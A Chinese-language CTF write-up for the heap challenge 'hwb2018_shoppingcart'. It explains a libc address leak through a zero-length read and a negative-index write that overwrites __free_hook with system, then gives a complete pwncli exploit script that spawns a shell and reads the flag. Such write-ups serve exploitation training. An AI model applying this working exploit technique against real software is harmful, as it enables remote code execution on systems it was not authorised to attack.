hwb2018_shoppingcart

总结

根据本题,学习与收获有:

  • read当长度为0的时候,会返回0
  • %s遇到\0才会结束输出,遇到\n并不会结束输出
  • 某个地址存储了__free_hook的地址,搜一把就得到了

题目分析

checksec

image-20210912181144590

远程环境为libc-2.27.so

漏洞点

主要在modify中,有一个打印地址和索引溢出

image-20210912180856329

利用思路

buy函数中,会有一个置0的操作:

image-20210912181245356

当时在这里卡了一段时间,后来发现,如果输入长度为0,就不会将chunkfd某个字节置为0了,那么结合modify函数中的%s即可泄露出地址。

最后利用过程即为:

  • 利用%sread0的第三个参数,泄露出libc的地址
  • 修改索引为-2处的拿个地址为存储着__free_hook的地址
  • 修改索引为-22的内容,就是修改__free_hook,修改为system
  • 释放带有/bin/sh的块即可获取shell

Exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/python3
from pwncli import *

cli_script()

p:tube = gift['io']
elf:ELF = gift['elf']
libc: ELF = gift['libc']

def add(data="a\n"):
    p.sendlineafter("EMMmmm, you will be a rich man!\n", "1")
    p.sendafter("I will give you $9999, but what's the  currency type you want, RMB or Dollar?\n", data)

def over():
    p.sendlineafter("EMMmmm, you will be a rich man!\n", "3")

def buy(length:int, data="a\n"):
    p.sendlineafter("Now, buy buy buy!\n", "1")
    p.sendlineafter("How long is your goods name?\n", str(length))
    if length != 0:
        p.sendafter("What is your goods name?\n", data)

def delete(idx:int):
    p.sendlineafter("Now, buy buy buy!\n", "2")
    p.sendlineafter("Which goods that you don't need?\n", str(idx))

def modify(idx:int, data="a\n"):
    p.sendlineafter("Now, buy buy buy!\n", "3")
    p.sendlineafter("Which goods you need to modify?\n", str(idx))
    p.recvuntil("OK, what would you like to modify ")
    msg = p.recvline()
    p.send(data)
    info("msg recv: {}".format(msg))
    return msg

def exp():
    for i in range(20):
        add("a" * 7)
    
    over()

    buy(0x500) # 0
    buy(0x10, "/bin/sh\x00\n") # 1

    # get unsorted bin
    delete(0)
    buy(0) # 2
    
    # leak libc addr
    msg = modify(2)
    libc_base_addr = u64(msg[:6].ljust(8, b"\x00")) - 0x3ec0d0
    log_address("libc_base_addr", libc_base_addr)

    # find the memory stores __free_hook address
    # use overflow index to change __free_hook's content to system
    modify(-2, p64(libc_base_addr + 0x3eaee8)[:7])
    modify(-22, p64(libc_base_addr + libc.sym['system'])[:7])

    # get shell
    delete(1)

    p.sendline("cat /flag")
    p.interactive()

exp()

引用与参考

1、My Blog

2、Ctf Wiki

3、pwncli

Buy me a coffee~
roderick 支付宝支付宝
roderick 微信微信
0%